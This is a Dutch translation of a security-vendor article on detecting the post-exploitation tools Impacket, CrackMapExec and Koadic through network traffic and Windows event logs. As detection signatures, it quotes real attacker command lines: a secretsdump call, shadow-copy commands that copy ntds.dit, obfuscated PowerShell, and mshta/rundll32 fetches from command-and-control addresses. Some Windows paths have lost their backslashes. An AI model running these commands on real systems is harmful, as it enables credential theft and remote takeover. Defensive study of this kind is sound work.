Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools

Het aantal aanvallen in de bedrijfssector neemt elk jaar toe: bijvoorbeeld in 2017 werden er 13% meer unieke incidenten geregistreerd dan in 2016, en eind 2018 — 27% meer incidenten, dan in de vorige periode. Inclusief die waarbij het belangrijkste werktool het besturingssysteem Windows is. In 2017-2018 voerden de APT-groepen Dragonfly, APT28, APT MuddyWater aanvallen uit op overheids- en militaire organisaties in Europa, Noord-Amerika en Saoedi-ArabiĆ«. En ze gebruikten hiervoor drie tools — Impacket, CrackMapExec en Koadic. Hun broncode is openbaar en beschikbaar op GitHub.

Het is belangrijk op te merken dat deze tools niet worden gebruikt voor de initiĆ«le toegang, maar voor het verder uitbreiden van de aanval binnen de infrastructuur. Kwaadwillenden gebruiken ze in verschillende fasen van de aanval, na het overwinnen van de perimeter. Dit is trouwens moeilijk te detecteren en vaak alleen met behulp van technologieĆ«n voor het identificeren van sporen van compromittering in netwerkverkeer of tools die in staat zijn om actieve handelingen van de aanvaller na zijn binnenkomst in de infrastructuur te detecteren.De tools bieden veel functies — van bestandsoverdracht tot interactie met het register en het uitvoeren van commando's op een externe machine. We hebben onderzoek gedaan naar deze tools om hun netwerkactiviteit te bepalen.

Wat we moesten doen:

  • Begrijpen hoe de hackerstools werken.Ontdekken wat aanvallers nodig hebben voor exploitatie en welke technologieĆ«n ze kunnen gebruiken.
  • Identificeren wat niet wordt gedetecteerd door informatiebeveiligingssystemen in de vroege fasen van de aanval.De verkenningsfase kan worden overgeslagen, of omdat de aanvaller een interne kwaadwillende is, of omdat de aanvaller gebruikmaakt van een kwetsbaarheid in de infrastructuur die eerder niet bekend was. Er verschijnt de mogelijkheid om de volledige keten van zijn acties te herstellen, vandaar het verlangen om verder bewegingspatronen te ontdekken.
  • Valse positieven van inbraakdetectiesystemen elimineren.Het is belangrijk om niet te vergeten dat het baseren van acties alleen op inlichting vaak tot fouten leidt. Gewoonlijk zijn er in de infrastructuur voldoende manieren om informatie te verkrijgen die op het eerste gezicht niet van legitieme bronnen te onderscheiden zijn.

Wat bieden deze tools de aanvallers? Met Impacket krijgen aanvallers toegang tot een grote bibliotheek van modules die in verschillende stadia van de aanval kunnen worden gebruikt na het passeren van de perimeter. Veel tools maken gebruik van Impacket-modules, zoals Metasploit. Dit bevat dcomexec en wmiexec voor het op afstand uitvoeren van commando's, secretsdump voor het verkrijgen van accounts uit het geheugen, toegevoegd vanuit Impacket. Met de juiste detectie van de activiteit van zo'n bibliotheek kan ook de detectie van derivaten worden gewaarborgd.

Over CrackMapExec (of CME) is het geen toeval dat de makers hebben geschreven "Powered by Impacket". Bovendien heeft CME kant-en-klare functionaliteit voor populaire scenario's: dit omvat Mimikatz voor het verkrijgen van wachtwoorden of hun hashes, en het inbrengen van Meterpreter of Empire-agent voor op afstand uitvoeren, en Bloodhound aan boord.

De derde gekozen tool is Koadic. Het is relatief nieuw, geĆÆntroduceerd op de internationale hackconferentie DEFCON 25 in 2017 en kenmerkt zich door een onconventionele aanpak: het werkt via HTTP, JavaScript en Microsoft Visual Basic Script (VBS). Deze aanpak wordt 'living off the land' genoemd: de tool maakt gebruik van een set afhankelijkheden en bibliotheken die in Windows zijn ingebouwd. De makers noemen het COM Command & Control, of C3.

IMPACKET

De functionaliteit van Impacket is zeer breed, van het verzamelen van informatie binnen AD en gegevensverzameling van interne MS SQL-servers, tot technieken voor het verkrijgen van inloggegevens: dit omvat de SMB-relay-aanval en het verkrijgen van het ntds.dit-bestand van de domeincontroller, dat de hashes van gebruikerswachtwoorden bevat. Impacket voert ook op afstand commando's uit met vier verschillende methoden: via WMI, een service voor het beheren van de Windows-taakplanner, DCOM en SMB, waarvoor het inloggegevens nodig heeft.

Secretsdump

Laten we kijken naar secretsdump. Dit is een module die zowel gebruikersmachines als domeincontrollers kan targeten. Hiermee kunnen kopieƫn van de LSA-, SAM-, SECURITY- en NTDS.dit-geheugensecties worden verkregen, waardoor het op verschillende stadia van een aanval kan worden gezien. De eerste stap in het werken met de module is authenticatie via SMB, waarvoor ofwel het wachtwoord van de gebruiker of de hash nodig is voor een automatische uitvoering van de Pass the Hash-aanval. Vervolgens wordt er een verzoek gedaan om toegang tot de Service Control Manager (SCM) te openen en toegang tot het register te krijgen via het winreg-protocol, waarmee de aanvaller gegevens van de interessante takken kan opvragen en resultaten kan verkrijgen via SMB.

In fig. 1 zien we precies hoe toegang tot de registersleutel met LSA wordt verkregen met het winreg-protocol. Hiervoor wordt het DCERPC-commando met opcode 15 - OpenKey - gebruikt.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 1. Toegang verkrijgen tot een registersleutel via het winreg-protocol

Wanneer toegang tot de sleutel is verkregen, worden de waarden opgeslagen met het commando SaveKey met opcode 20. Impacket doet dit op een vrij specifieke manier. Het slaat de waarden op in een bestand met een naam die bestaat uit een tekenreeks van 8 willekeurige symbolen met de toevoeging .tmp. Bovendien vindt de verdere extractie van dit bestand plaats via SMB vanuit de System32-directory (fig. 2).

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 2. Diagram van het verkrijgen van een registersleutel vanaf een externe machine

Het blijkt dat dergelijke activiteiten in het netwerk kunnen worden gedetecteerd door verzoeken naar specifieke takken van het register via het winreg-protocol, specifieke namen, commando's en hun volgorde.

Bovendien laat deze module sporen achter in het Windows-evenementenlogboek, waardoor het gemakkelijk kan worden gedetecteerd. Bijvoorbeeld als resultaat van de uitvoering van het commando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

in het Windows Server 2016-logboek zouden we de volgende sleutelreeks van gebeurtenissen zien:

1. 4624 - externe aanmelding.
2. 5145 - toegangsbewaking tot de externe winreg-service.
3. 5145 - toegangsbewaking tot een bestand in de System32-directory. Het bestand heeft een willekeurige naam, zoals hierboven vermeld.
4. 4688 - proces creatie van cmd.exe dat vssadmin start:

ā€œC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - proces creatie met het commando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — proces creĆ«ren met commando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — proces creĆ«ren met commando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Net als bij veel post-exploitatie tools heeft Impacket modules voor het op afstand uitvoeren van commando's. We richten ons op smbexec, dat een interactieve opdrachtprompt op de externe machine geeft. Voor deze module is ook authenticatie via SMB vereist, hetzij met een wachtwoord, hetzij met de hash. In fig. 3 zien we een voorbeeld van een dergelijk hulpmiddel, in dit geval is dit een console van de lokale beheerder.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 3. Interactieve smbexec-console

De eerste stap in de werking van smbexec na authenticatie is het openen van SCM met het commando OpenSCManagerW (15). De aanvraag is opmerkelijk: het veld MachineName heeft de waarde DUMMY.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 4. Aanvraag voor het openen van Service Control Manager

Vervolgens wordt een service aangemaakt met het commando CreateServiceW (12). In het geval van smbexec zien we elke keer dezelfde logica in het opbouwen van de opdracht. In fig. 5 zijn de onveranderlijke parameters van de opdracht groen gemarkeerd, en wat de aanvaller kan aanpassen is geel. Het is niet moeilijk op te merken dat de naam van het uitvoerbare bestand, de directory en het outputbestand kunnen worden gewijzigd, maar het is veel moeilijker om de rest te veranderen zonder de logica van de Impacket-module te verstoren.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 5. Aanvraag voor het creƫren van een service via Service Control Manager

Smbexec laat ook duidelijke sporen achter in de Windows-logboeken. In de logboeken van Windows Server 2016 zien we voor de interactieve opdrachtprompt met het commando ipconfig de volgende belangrijke reeks gebeurtenissen:

1. 4697 — service op het slachtofferapparaat opzetten:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — proces cmd.exe creĆ«ren met argumenten uit punt 1.
3. 5145 — controleren van de toegangsrechten tot het bestand __output in de directory C$.
4. 4697 — service op het slachtofferapparaat opzetten.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - het creƫren van het cmd.exe-proces met argumenten uit punt 4.
6. 5145 - controle van toegangsrechten voor het bestand __output in de directory C$.

Impacket is de basis voor de ontwikkeling van aanvaltools. Het ondersteunt bijna alle protocollen in de Windows-infrastructuur en heeft daarbij zijn eigen kenmerkende eigenschappen. Dit omvat specifieke winreg-aanvragen en het gebruik van SCM API met kenmerkende opdrachtformattering, en bestandsnaamformaten, en SMB share SYSTEM32.

CRACKMAPEXEC

De CME-tool is in de eerste plaats bedoeld om de routinedoelen te automatiseren die een aanvaller moet uitvoeren om binnen een netwerk voort te komen. Het kan samenwerken met de bekende Empire agent en Meterpreter. Om opdrachten verborgen uit te voeren, kan CME ze obfusceren. Door Bloodhound (een aparte tool voor verkenning) te gebruiken, kan de aanvaller het zoeken naar actieve sessies van de domeinbeheerder automatiseren.

Bloodhound

Bloodhound als zelfstandige tool maakt geavanceerde verkenning binnen netwerken mogelijk. Het verzamelt gegevens over gebruikers, machines, groepen, sessies en wordt geleverd in de vorm van een PowerShell-script of een binaire bestand. Voor het verzamelen van informatie worden LDAP of protocollen op basis van SMB gebruikt. De integratiemodule van CME maakt het mogelijk om Bloodhound naar het slachtoffer apparaat te uploaden, te starten en de verzamelde gegevens te verkrijgen na uitvoering, waardoor de acties in het systeem worden geautomatiseerd en minder zichtbaar zijn. De grafische interface van Bloodhound stelt de verzamelde gegevens voor in de vorm van grafieken, waardoor de kortste weg van de aanvallersmachine naar de domeinbeheerder kan worden gevonden.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 6. Interface van Bloodhound

Voor de uitvoering op het slachtoffer apparaat creƫert de module een taak met ATSVC en SMB. ATSVC is de interface voor het werken met de Windows-taakplanner. CME gebruikt de functie NetrJobAdd (1) om taken via het netwerk te creƫren. Een voorbeeld van wat de CME-module verzendt, is weergegeven in figuur 7: dit is het aanroepen van de opdracht cmd.exe en de obfuscerende code in de vorm van argumenten in XML-formaat.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 7. Taakcreatie via CME

Nadat de taak voor uitvoering is aangeboden, start het slachtoffer apparaat zelf Bloodhound, en dit kan in het verkeer worden waargenomen. De module is kenmerkend voor LDAP-aanvragen om standaardgroepen te verkrijgen, een lijst van alle machines en gebruikers in het domein, en informatie over actieve gebruikerssessies via de SRVSVC NetSessEnum-aanroep.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 8. Het verkrijgen van een lijst met actieve sessies via SMB

Bovendien gaat het uitvoeren van Bloodhound op het slachtoffer machine met ingeschakelde auditing gepaard met een gebeurtenis met ID 4688 (procescreatie) en de naam van het proces ā€˜C:\Windows\System32\cmd.exe’. Opmerkelijk zijn de opdrachtregelargumenten:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

De functionaliteit en implementatie van de module enum_avproducts zijn zeer interessant. WMI stelt in staat om gegevens van verschillende Windows-objecten te verkrijgen met behulp van de WQL-querytaal, waar deze CME-module in feite gebruik van maakt. Het genereert aanvragen naar de klassen AntiSpywareProduct en AntiMirusProduct betreffende beveiligingsmiddelen die op de slachtoffer machine zijn geĆÆnstalleerd. Om de benodigde gegevens te verkrijgen, maakt de module verbinding met de namespace root\SecurityCenter2, vormt vervolgens een WQL-query en ontvangt het antwoord. In figuur 9 is de inhoud van dergelijke aanvragen en antwoorden weergegeven. In ons voorbeeld werd Windows Defender gevonden.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 9. Netwerkactiviteit van de module enum_avproducts

Vaak kan de WMI-audit (Trace WMI-Activity), waarin nuttige informatie over WQL-aanvragen kan worden gevonden, uitgeschakeld zijn. Maar als deze is ingeschakeld, zal bij het uitvoeren van het script enum_avproducts een gebeurtenis met ID 11 worden opgeslagen. Daarin worden de gebruikersnaam die de aanvraag heeft verzonden en de naam in de namespace root\SecurityCenter2 opgenomen.

Elke module van CME had zijn eigen artefacten, of het nu ging om specifieke WQL-aanvragen of het creƫren van een specifiek type taak in de taakplanner met obfuscatie en kenmerkende Bloodhound-activiteit in LDAP en SMB.

KOADIC

Een kenmerk van Koadic is het gebruik van ingebouwde JavaScript- en VBScript-interpreters in Windows. In die zin volgt het de trend van living off the land — dat is, het heeft geen externe afhankelijkheden en maakt gebruik van de standaard Windows-middelen. Dit is een tool voor volledige Command & Control (CnC), omdat na infectie een ā€˜implant’ op de machine wordt geĆÆnstalleerd, waardoor deze kan worden gecontroleerd. Zo'n machine wordt in de terminologie van Koadic een ā€˜zombie’ genoemd. Bij een tekort aan privileges voor volledige werking aan de kant van het slachtoffer heeft Koadic de mogelijkheid om deze te verhogen, met behulp van technieken voor het omzeilen van gebruikersaccountcontrole (UAC bypass).

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 10. Koadic command shell

Het slachtoffer moet zelf de communicatie met de Command & Control-server initiƫren. Hiervoor moet ze zich wenden tot een vooraf voorbereid URI en het hoofdbestanddeel van Koadic verkrijgen via een van de stageers. Figuur 11 toont een voorbeeld voor de mshta stageer.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 11. Initialisatie van de sessie met de CnC-server

Aan de WS-variabele van het antwoord is te zien dat de uitvoering plaatsvindt via WScript.Shell, en de variabelen STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE bevatten sleutelinformatie over de parameters van de huidige sessie. Dit is het eerste paar verzoek-antwoorden in de HTTP-verbinding met de CnC-server. De volgende verzoeken zijn direct gerelateerd aan de functionaliteit van de opgeroepen modules (implanten). Alle Koadic-modules werken alleen met een actieve sessie met de CnC.

Mimikatz

Net zoals CME werkt met Bloodhound, werkt Koadic met Mimikatz als een apart programma en heeft het verschillende manieren om het te starten. Hieronder staat een paar verzoek-antwoorden voor het laden van het Mimikatz-implantaat.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 12. Overdracht van Mimikatz naar Koadic

Je kunt zien hoe het URI-formaat in het verzoek is veranderd. Er is een waarde aan de csrf-variabele toegevoegd, die verantwoordelijk is voor de gekozen module. Let niet op de naam hiervan; we weten allemaal dat CSRF gewoonlijk iets anders betekent. Het antwoord bevatte dezelfde hoofdmemo van Koadic, waaraan code met betrekking tot Mimikatz was toegevoegd. Het is vrij groot, dus laten we de belangrijkste punten bekijken. Voor ons ligt een in base64 gecodeerde bibliotheek van Mimikatz, een geserialiseerde .NET-klasse die deze zal injecteren, en argumenten voor het starten van Mimikatz. Het resultaat van de uitvoering wordt in het open beschikbaar over het netwerk verzonden.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 13. Resultaat van de uitvoering van Mimikatz op de externe machine

Exec_cmd

In Koadic zijn er ook modules die op afstand opdrachten kunnen uitvoeren. Hier zien we dezelfde methode voor het genereren van URI en de bekende variabelen sid en csrf. In het geval van de exec_cmd-module wordt er code aan de body toegevoegd die shell-opdrachten kan uitvoeren. Hieronder wordt dergelijke code weergegeven, die zich in het HTTP-antwoord van de CnC-server bevindt.

Hoe aanvallen op Windows-infrastructuur te detecteren: verkennen van hackerstools
Figuur 14. Code van het exec_cmd-implantaat

De variabele GAWTUUGCFI met de bekende WS-attribuut is vereist voor het uitvoeren van de code. Hiermee roept het implantaat de shell aan door twee takken van de code te verwerken - shell.exec met het retourneren van de uitvoerdata en shell.run zonder terugkeer.

Koadic is geen typische tool, maar heeft zijn eigen artefacten waarmee het in legitiem verkeer kan worden gevonden:

  • speciaal gevormde HTTP-verzoeken,
  • gebruik van de winHttpRequests API,
  • het maken van een WScript.Shell-object via ActiveXObject,
  • een groot uitvoerbaar lichaam.

De oorspronkelijke verbinding initieert de stagiair, waardoor het mogelijk is zijn activiteit te detecteren via Windows-gebeurtenissen. Voor mshta is dit evenement 4688, dat aangeeft dat een proces is gemaakt met het startattribuut:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Tijdens de uitvoering van Koadic kunnen ook andere evenementen 4688 worden gezien met kenmerken die het uitstekend beschrijven:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Conclusies

De trend van living off the land wint aan populariteit onder aanvallers. Ze gebruiken ingebouwde Windows-tools en mechanismen voor hun doeleinden. We zien dat populaire tools zoals Koadic, CrackMapExec en Impacket, die deze aanpak volgen, steeds vaker voorkomen in APT-rapporten. Het aantal forks op GitHub voor deze tools groeit ook, er verschijnen nieuwe (momenteel al ongeveer duizend). De trend wint aan populariteit vanwege zijn eenvoud: aanvallers hebben geen externe tools nodig, deze zijn al aanwezig op de machines van slachtoffers en helpen om beveiligingsmaatregelen te omzeilen. We richten ons op het bestuderen van netwerkinteractie: elk van de hierboven beschreven tools laat zijn sporen na in het netwerkverkeer; een gedetailleerde studie hiervan heeft ons in staat gesteld ons product PT Network Attack Discovery te detecteren, wat uiteindelijk helpt bij het onderzoeken van de volledige keten van cyberincidenten waarbij zij betrokken zijn.

Auteurs:

  • Anton Tyurin, hoofd van de afdeling expertservices, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

Bron: habr.com

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers šŸ”„ Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster